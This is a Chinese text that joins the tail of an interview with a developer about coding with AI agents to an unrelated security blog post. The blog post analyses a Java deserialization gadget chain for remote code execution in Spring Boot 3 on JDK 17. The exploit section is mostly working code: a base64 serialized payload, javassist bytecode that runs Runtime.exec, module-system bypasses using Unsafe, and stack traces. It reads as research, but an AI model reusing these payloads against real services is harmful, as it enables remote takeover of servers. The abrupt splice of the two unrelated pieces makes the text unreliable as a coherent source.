Peter:是的,但真的很累,你必须去玩这些技术、去学习。一开始一定会很挫败,就像你第一次去健身房又累又痛,但很快你就会变强,你会感觉到工作流在加速,能明显看到进步,然后你就慢慢上瘾了。所以,一边玩,一边拼命干。

 

主持人:你现在投入的时间,明显比以前多了。

 

Peter:我从来没像现在这么拼过。就算当年我有公司,也没这么拼。不是因为我必须这么做,而是因为这件事太上瘾、太好玩了。再加上现在正好有势能,有一群人在推着我往前走。

 

年轻人的建议

 

主持人:是不是也因为你商业嗅觉很好?你能看出来什么时候有机会、什么时候窗口期打开了。

你刚才提到,现在“公开做事”这件事本身就很新颖。你也说,就算你现在想招人,其实也很难,因为真正公开、高频使用这些工具的人并不多。但可能两三年后,大家都会这么做,这个优势也就没了。还有一群人很焦虑的,是应届生、没什么经验的新人。毕竟你是在成为资深工程师之后,AI 才出现的,你有大量积累可以借力。

 

如果你把自己放回到那个阶段,基于你现在知道的一切,你会建议他们去做什么?是打好软件工程基本功,还是直接拥抱 agent,还是两者结合?

 

Peter:我会建议他们保持无限的好奇心。毫无疑问,进入这个市场一定会更难,你必须通过不断做东西来积累经验。我不觉得一定要写很多代码,但你得去接触复杂的开源项目,去读、去理解。

 

你现在有一台无限耐心的机器,可以把任何东西给你讲清楚,你可以不停地问:为什么要这么设计?为什么当初要这么做?慢慢建立起系统级理解。但这一切都依赖真实的好奇心,而我不觉得现在的大学真的很擅长教这个。通常,这种能力都是在痛苦中学会的。

 

对新人来说不会轻松,但他们也有一个优势:他们没有被“旧经验”污染。就像小孩子一样,他们会用 agent 做出我们根本想不到的事情,因为他们不知道“这事不该这么做”。而等他们这么做的时候,往往已经能跑通了。

 

主持人:而且他们身边的朋友也都在用这些工具。

 

Peter:对。前几天我有个小的菜单栏应用,用来统计 Cursor、Claude Code 这些成本,跑得有点慢。我本能反应是:好,打开 Instruments,开始点。结果他们直接在终端里把 profiling 全做了,连 Instruments 都不用开,就直接给我提了优化方案,还顺带把性能搞快了。我完全被震住了。

 

主持人:我觉得我们可能低估了进入这个行业的年轻人的能力和资源整合水平。很多伟大的公司创始人都非常年轻,当时经验也不多,但热情极强。对我来说,最冲击的还是你提到的这些变化:不再依赖 PR,不做传统 code review。这些东西陪伴了你十五年以上,也是 PSPDFKit 成功的重要基石。

 

Peter:是的,现在需要一整套新东西。哪怕现在有人给我提 PR,我更关心的其实是 prompt,而不是代码。我会让大家把 prompt 也一起提交,有些人会这么做。

 

我读 prompt 的时间,比读代码还多。因为那是更高信号的信息:你是怎么得到这个结果的?你问了什么问题?中间做了多少引导?这比最终代码本身更能帮我判断质量。

 

如果有人想要一个新功能,我甚至直接要一个“Prompt Request”。你把需求写清楚,我就能把 issue 指给 agent,让它直接去做。真正的工作,其实是在想清楚系统应该怎么运作、细节是什么。如果别人已经帮我把这些想清楚了,我基本可以直接说一句“build”,然后它就能跑。

 

相反,如果有人只提了一个很小的修复 PR,我反而会请他们别这么做,因为我花在 review 上的时间,可能是我直接在 Codex 里敲一句“fix”再等几分钟的十倍。现在我们已经可以有一行命令就启动。但在最近两周项目开始真正有热度之后,我干脆让大家直接用 agent 指向仓库来做配置。所以我们没有传统意义上的 Onboarding,而是 Claude Code 驱动的 Onboarding。

 

我的 agent 会自己 clone 仓库、读文档、写配置、帮用户把环境全搭好,甚至设置 Launch Agent,全程不需要人工步骤。这在以前完全不可想象,但现在不是优先级问题了,因为 agent 可以替你做这些事。

 

而且这个产品本身就是 agent 构建的,所以它的结构、命名方式,完全符合 agent 的“直觉”。模型权重里本身就编码了某些对命名和结构的偏好,它在这个项目里导航起来非常顺。所以我没有把太多精力放在 Onboarding 上。以后我当然也想做成很魔法的体验,但当下更重要的是信息传得通、系统别炸。

 

小彩蛋

 

主持人:好,那我们用几个快问快答收尾。第一个:有没有一个你会推荐的工具?不是 CLI,也不是 IDE,可以是实体设备。

 

Peter:我买过很多小玩意,大多数都挺一般。但有一个不贵、看起来也挺糙的东西,给了我几乎无限的快乐。它是一个用 Android 跑的电子相框,可以上传照片。它有一个邮箱,朋友可以直接给它发照片,之后就会自动显示。我家里放了好几个。技术上说,它很糟糕,动画也很简陋,但它就是不停地给我展示生活中那些快乐的瞬间。

 

它大概两百美元,但说实话它给我的满足感,比我新买的 iPhone 还大。我买了 iPhone 17,到现在都还没拆封,因为我一想到要换卡、迁移数据就觉得太麻烦,完全没有“非换不可”的理由。但这个小相框,真的让我很开心。

 

主持人:那在科技之外,有什么事情能让你充电、让你远离屏幕?

 

Peter:健身房,最好是和教练一起,把手机锁在柜子里。那一个小时里,我完全活在当下,没有通知,没有冲动去摸手机。有时候我甚至出门散步,把手机直接留在家里。一开始会非常恐慌,好像手机已经变成身体的一部分了,但这种感觉反而让我觉得特别爽。

 

参考链接:

https://www.youtube.com/watch?v=8lF7HmQ_RgY

高版本spring通杀链

简单分析

我这里是直接搭了一个springboot3环境来进行分析,然后在TemplatesImpl的getOutputProperties()方法打一个断点,在jdk17的环境下简单看了一下调用栈:

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws Exception {
        String base64Data = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3EAfgAAP0AAAAAAAAx3CAAAABAAAAACdAACYWFzcgAsY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuSmRrRHluYW1pY0FvcFByb3h5TMS0cQ7rlvwCAARaAA1lcXVhbHNEZWZpbmVkWgAPaGFzaENvZGVEZWZpbmVkTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7WwARcHJveGllZEludGVyZmFjZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAFWgALcHJlRmlsdGVyZWRMABNhZHZpc29yQ2hhaW5GYWN0b3J5dAA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc29yQ2hhaW5GYWN0b3J5O0wACGFkdmlzb3JzdAAQTGphdmEvdXRpbC9MaXN0O0wACmludGVyZmFjZXNxAH4AE0wADHRhcmdldFNvdXJjZXQAJkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9UYXJnZXRTb3VyY2U7eHIALW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5Qcm94eUNvbmZpZ4tL8+an4PdvAgAFWgALZXhwb3NlUHJveHlaAAZmcm96ZW5aAAZvcGFxdWVaAAhvcHRpbWl6ZVoAEHByb3h5VGFyZ2V0Q2xhc3N4cAAAAAAAAHNyADxvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuRGVmYXVsdEFkdmlzb3JDaGFpbkZhY3RvcnlU3WQ34k5x9wIAAHhwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4c3EAfgAZAAAAAXcEAAAAAXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB4c3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5TaW5nbGV0b25UYXJnZXRTb3VyY2V9VW71x/j6ugIAAUwABnRhcmdldHEAfgAFeHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAPTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAArvK/rq+AAAAMgAsAQAEVGVzdAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxUZXN0OwwABQAGCgAEAAwBAANwcnQBABBqYXZhL2xhbmcvU3lzdGVtBwAPAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07DAARABIJABAAEwEABGRhdGEBABJMamF2YS9sYW5nL1N0cmluZzsMABUAFgkAAgAXAQATamF2YS9pby9QcmludFN0cmVhbQcAGQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYMABsAHAoAGgAdAQAIPGNsaW5pdD4BAEUqKioqKioqKioqKioqKioqKioqKioqKioqKiBleHBsb2l0IHN1Y2Nlc3MgKioqKioqKioqKioqKioqKioqKioqKioqKioIACAMAA4ABgoAAgAiAQAKU291cmNlRmlsZQEAC0V4cE9iai5qYXZhAQAMSW5uZXJDbGFzc2VzAQAYamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyBwAnAQAQamF2YS91dGlsL0Jhc2U2NAcAKQEAB0RlY29kZXIAIQACAAQAAAABAAoAFQAWAAAAAwABAAUABgABAAcAAAAvAAEAAQAAAAUqtwANsQAAAAIACAAAAAYAAQAAABYACQAAAAwAAQAAAAUACgALAAAACgAOAAYAAQAHAAAAJgACAAAAAAAKsgAUsgAYtgAesQAAAAEACAAAAAoAAgAAAJgACQCZAAgAHwAGAAEABwAAABYAAQAAAAAAChMAIbMAGLgAI7EAAAAAAAIAJAAAAAIAJQAmAAAACgABACgAKgArAAl1cQB+ACcAAACayv66vgAAADcADAEABVRlc3QyBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAApUZXN0Mi5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEABENvZGUAIQACAAQAAAAAAAEAAQAHAAgAAQALAAAAEQABAAEAAAAFKrcACrEAAAAAAAEABQAAAAIABnB0AAR0ZXN0cHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAARxAH4AHXZyACNvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5TcHJpbmdQcm94eQAAAAAAAAAAAAAAeHB2cgApb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWQAAAAAAAAAAAAAAHhwdnIAKG9yZy5zcHJpbmdmcmFtZXdvcmsuY29yZS5EZWNvcmF0aW5nUHJveHkAAAAAAAAAAAAAAHhwdAACYkJzcgAxY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLm9iamVjdHMuWFN0cmluZxwKJztIFsX9AgAAeHIAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhPYmplY3T0mBIJu3u2GQIAAUwABW1fb2JqcQB+AAV4cgAsY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLkV4cHJlc3Npb24H2aYcjays1gIAAUwACG1fcGFyZW50dAAyTGNvbS9zdW4vb3JnL2FwYWNoZS94cGF0aC9pbnRlcm5hbC9FeHByZXNzaW9uTm9kZTt4cHB0AAB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAJxAH4AA3EAfgA4cQB+ADNxAH4ACHhxAH4APHg=";
        byte[] data = Base64.getDecoder().decode(base64Data);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
        Object obj = ois.readObject();
        ois.close();
    }
}

关键调用栈如下:

getOutputProperties:608, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
invokeJoinpointUsingReflection:344, AopUtils (org.springframework.aop.support)
invoke:208, JdkDynamicAopProxy (org.springframework.aop.framework)
getOutputProperties:-1, $Proxy0 (jdk.proxy1)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
equals:391, XString (com.sun.org.apache.xpath.internal.objects)
equals:492, AbstractMap (java.util)
putVal:633, HashMap (java.util)
readObject:1553, HashMap (java.util)

可以看出来起点是HashMap+XString调用toString,这里需要注意一个点,我们前面链子中都是用的BadAttributeValueExpException作为入口点,但是在jdk17这里修改了这个类的readObject()方法:

图片.png

导致无法在反序列化时调用到toString()方法,所以需要找另外的入口,这里用的HasdhMap+XString就不多说了,非常常见了。

然后根据调用栈来看过程,看起来其实很像之前学过的jackson链不稳定性解决方法的链子,是直接打的动态加载字节码,从而rce。

高版本的加载字节码的限制以及拓展利用

从零分析

我们这里从零开始分析一下jdk17下的"原"TemplatesImpl的rce方法的,基本思路和我们前面学习的动态加载字节码的过程是一样的,可以构造代码如下:

import javassist.*;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Main {
    public static void main(String[] args) throws Exception {
        patchModule(Main.class);
        Class needClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(needClass));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(needClass.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

        Object impl = getObject(clazz);

        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
        setFieldValue(impl,"_bytecodes",code);

        Method method = clazz.getDeclaredMethod("newTransformer");
        method.setAccessible(true);
        method.invoke(impl);

    }
    private static void patchModule(Class clazz) throws Exception {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);

        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));

        Module targetModule = Object.class.getModule();
        unsafe.getAndSetObject(clazz, offset,targetModule);
    }
    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    private static Object getObject(Class clazz) throws Exception{
        Constructor constructor = clazz.getConstructor();
        constructor.setAccessible(true);
        Object impl = constructor.newInstance();
        return impl;
    }
}

在这里的代码,通过修改当前运行文件的module位置,来获取到要利用的类的构造函数以及一些方法,达到成功创建TemplatesImpl类以及调用其newTransformer()方法的目的,但是运行报错:

Caused by: javax.xml.transform.TransformerConfigurationException: 已加载 Translet 类, 但无法创建 translet 实例。
    at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:540)
    at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:554)
    at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:587)
    ... 5 more
Caused by: java.lang.IllegalAccessError: superclass access check failed: class Evil (in unnamed module @0x3701eaf6) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x3701eaf6
    at java.base/java.lang.ClassLoader.defineClass1(Native Method)
    at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1017)
    at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:207)
    at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:517)
    ... 7 more

看这里的报错,非常重要的原因如下:

superclass access check failed: class Evil (in unnamed module @0x3701eaf6) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x3701eaf6

模块化机制的原因,调试一下过程,在如下部分代码运行错误:

图片.png

这一部分后就会报错退出,原因如上,其实仔细想想这里的过程,确实是虽然我们正常调用了对应的方法并且设置了正确的要求,但是这里的defineClass在定义类的时候,要求的父类AbstractTranslet所处的java.xml模块位置与我们使用javassist生成的Evil类所处的未命名模块位置确实是不同的,由于模块化机制的限制,那么这里是无法成功设置父类并且因违反既定规则导致直接报错退出。

那么如何解决呢,我们是否可以尝试将这个使用javassist生成的Evil类所处的模块位置改成java.xml呢?简单想想本来是以为通过如下代码构造的:

Class clazz0 = cc.toClass();
patchModule1(clazz0);
.
.
.
private static void patchModule1(Class clazz) throws Exception {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);

        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));

        Module targetModule = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getModule();
        unsafe.getAndSetObject(clazz, offset,targetModule);
    }

将生成的CtClass转换成Class对象,然后再自定义一个patchModule1()方法将Class对象的module位置改成java.xml,然后再尝试生成byteCode用于defineClass()的加载,但是并没有成功,真正说来其实在如下代码就会报错:

Class needClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(needClass));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(needClass.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        Class clazz0 = cc.toClass();

报错内容如下:

Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @673bfdf3
    at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
    at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
    at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
    at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
    at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159)
    at javassist.util.proxy.DefineClassHelper$JavaOther.defineClass(DefineClassHelper.java:213)
    at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:52)
    at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260)
    at javassist.ClassPool.toClass(ClassPool.java:1240)
    at javassist.ClassPool.toClass(ClassPool.java:1098)
    at javassist.ClassPool.toClass(ClassPool.java:1056)
    at javassist.CtClass.toClass(CtClass.java:1298)
    at Main.main(Main.java:21)

很容易看出是调用toClass()时报错,一直跟进,可以知道这里的实质其实也是会调用defineClass来生成Class对象,所以还是会在生成Class对象时由于模块化机制直接报错退出。

这样看起来原来的利用的路是堵死了,但是还是可以绕过达到利用。

绕过高版本限制再次利用

在如下文章提到的利用方法还是比较有意思,而且在低版本应该也是同样可以使用的:

https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/

文章中就提到了如何去除 AbstractTranslet 限制,而正好在前面的分析中,我么就是卡在了父类AbstractTranslet的设置中。

思路非常好,也加深了自己对于代码的理解,确实是之前没想到的。

在前面的基本的利用中,真正用于实例化出发的点在于如下:

图片.png

这里通过defineTransletClasses()来给_class赋值,然后在后面获取构造器并实例化从而完成一次利用。这里有一个非常关键的变量:_transletIndex,并且是在defineTransletClasses()中有处理的:

其中_class_bytecodes中的数组个数相关:

图片.png

后面关键的代码如下:

图片.png

可以看到这里是调用的for循环来遍历_bytecodes变量并将其赋值给_class数组中,如果满足对应的下表加载出来的Class对象的父类是AbstractTranslet类,那么就会将这里的变量_transletIndex赋值为i,也就是当时遍历对应的下标,在我们最初的加载字节码的过程中,就是将_bytecodes赋值为我们构造好了的byteCode,从而这里for循环的i就会是0从而可以防止满足_transletIndex<0而报错退出,还可以满足前面的getTransletInstance()方法中的_class[0].getConstructor().newInstance()从而完成一次完整过程的利用。这也是前面利用的核心。

但是正如前面所说,要想正常使_transletIndex的值改变,必须满足加载的Class对象的父类为AbstractTranslet,而高版本是无法实现的。再仔细想想前面的流程,最关键的是什么,_transletIndex变量,为什么要满足父类为AbstractTranslet,就是为了让_transletIndex的值变化,我们来关注一下这个变量的实现:

图片.png

默认值为-1,但是我们可以反射修改。而当父类不是AbstractTranslet会发生什么呢:

图片.png

_auxClasses中放入键值对,并且defineTransletClasses()方法的前面逻辑也是体现了赋值情况:

图片.png

所以其实我们只需要给_bytecodes赋两个byte数组即可,并且控制_transletIndex为合适的下标以匹配defineClass加载后放入到_class数组中的我们自定义的恶意的Class对象(注意还有个防止<0直接报错退出的条件)。

再次尝试构造代码如下:

import javassist.*;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Main {
    public static void main(String[] args) throws Exception {
        patchModule(Main.class);

        //part1
        ClassPool classPool = ClassPool.getDefault();
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);

        byte[] classBytes = cc.toBytecode();
        //part2
        CtClass cc1 = classPool.makeClass("Evil1");
        cc1.makeClassInitializer().insertBefore(cmd);

        byte[] classBytes1 = cc1.toBytecode();

        byte[][] code = new byte[][]{classBytes,classBytes1};

        //main
        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Object impl = getObject(clazz);

        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
        setFieldValue(impl,"_bytecodes",code);
        setFieldValue(impl,"_transletIndex",0);//0或者1都可以

        Method method = clazz.getDeclaredMethod("newTransformer");
        method.setAccessible(true);
        method.invoke(impl);
    }
    private static void patchModule(Class clazz) throws Exception {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);

        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));

        Module targetModule = Object.class.getModule();
        unsafe.getAndSetObject(clazz, offset,targetModule);
    }

    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    private static Object getObject(Class clazz) throws Exception{
        Constructor constructor = clazz.getConstructor();
        constructor.setAccessible(true);
        Object impl = constructor.newInstance();
        return impl;
    }
}

运行弹出计算机,成功构造。

还有个老生常谈的,可以不设置_tfactory,因为TemplatesImpl的readObject()方法是有直接给这个赋值为需要的类实例的。

反序列化调用链分析

经过前面的分析,可以尝试构造代码如下:

import javassist.*;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

import com.fasterxml.jackson.databind.node.POJONode;

public class Main {
    public static void main(String[] args) throws Exception {
        patchModule(Main.class);
        //part1
        ClassPool classPool = ClassPool.getDefault();
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);

        byte[] classBytes = cc.toBytecode();
        //part2
        CtClass cc1 = classPool.makeClass("Evil1");
        cc1.makeClassInitializer().insertBefore(cmd);

        byte[] classBytes1 = cc1.toBytecode();

        byte[][] code = new byte[][]{classBytes,classBytes1};

        //main
        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Object impl = getObject(clazz);

        setFieldValue(impl,"_name","fupanc");
//        setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
        setFieldValue(impl,"_bytecodes",code);
        setFieldValue(impl,"_transletIndex",0);//0或者1都可以

        //修改类方法
        CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        ctClass.removeMethod(ctClass.getDeclaredMethod("writeReplace"));

        POJONode node = new POJONode(impl);

        //获取XString类实例
        Class clazz123 = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
        Constructor constructor123 = clazz123.getConstructor(String.class);
        constructor123.setAccessible(true);
        Object xString = constructor123.newInstance("fupanc");

        Hashtable hash = new Hashtable();

        HashMap hashMap0 = new HashMap();
        hashMap0.put("zZ",xString);
        hashMap0.put("yy",node);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("zZ",node);
        hashMap1.put("yy",xString);

        hash.put(hashMap0,"1");
        hash.put(hashMap1,"2");

    }
    private static void patchModule(Class clazz) throws Exception {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);

        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));

        Module targetModule = Object.class.getModule();
        unsafe.getAndSetObject(clazz, offset,targetModule);
    }

    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    private static Object getObject(Class clazz) throws Exception{
        Constructor constructor = clazz.getConstructor();
        constructor.setAccessible(true);
        Object impl = constructor.newInstance();
        return impl;
    }
}

按照预期这样就可以在Hashtable的第二个put中成功弹出计算机,但是运行报错如下:

Exception in thread "main" java.lang.RuntimeException: com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Invalid type definition for type `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`: Failed to construct BeanSerializer for [simple type, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl]: (java.lang.IllegalArgumentException) Failed to call `setAccess()` on Method 'getOutputProperties' (of class `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`) due to `java.lang.reflect.InaccessibleObjectException`, problem: Unable to make public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() accessible: module java.xml does not "exports com.sun.org.apache.xalan.internal.xsltc.trax" to unnamed module @673bfdf3
    at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:32)
    at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136)
